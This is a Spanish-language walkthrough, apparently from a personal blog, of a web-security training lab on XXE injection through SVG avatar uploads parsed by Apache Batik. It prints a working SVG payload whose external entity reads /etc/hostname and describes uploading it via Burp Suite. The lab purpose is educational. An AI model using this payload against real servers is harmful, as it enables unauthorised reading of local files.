Entrada

XXE Injection Lab 8

XXE Injection Lab 8

Skills

  • Exploiting XXE via image file upload

Certificaciones

  • eWPT
  • eWPTXv2
  • OSWE
  • BSCP

Descripción

Este laboratorio permite a los usuarios adjuntar avatares a los comentarios y utiliza la biblioteca Apache Batik para procesar los archivos de imagen de los avatares. Para resolver el laboratorio, debemos subir una imagen que muestre el contenido del archivo /etc/hostname después de ser procesada y luego usar el botón Enviar solución para enviar el valor del nombre del host del servidor


Resolución

Al acceder a la web nos sale esto

Si pulsamos en View post veremos una sección de comentarios y de subida de archivos

Creamos un archivo llamado image.svg con este payload en su interior

1
2
3
4
5
<?xml version="1.0" standalone="yes"?>
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/hostname" > ]>
<svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1">
   <text font-size="16" x="0" y="16">&xxe;</text>
</svg>

Posteamos un comentario con la imagen svg de perfil, mediante Burpsuite podemos capturar esta petición

Si la petición nos devuelve un 200 OK significa que está todo correcto, si no deberemos probar eliminando espacios del payload que se envía en la imagen. Si todo ha ido bien hacemos click derecho sobre la imagen de nuestro perfil y pulsamos en abrir imagen en nueva pestaña, esto nos llevará a https://0a6d008103cba51480015839008a008c.web-security-academy.net/post/comment/avatars?filename=1.png. Esto es una imagen que muestra el hostname en su interior

Pulsamos en Submit Solution y enviamos la solución

Esta entrada está licenciada bajo CC BY 4.0 por el autor.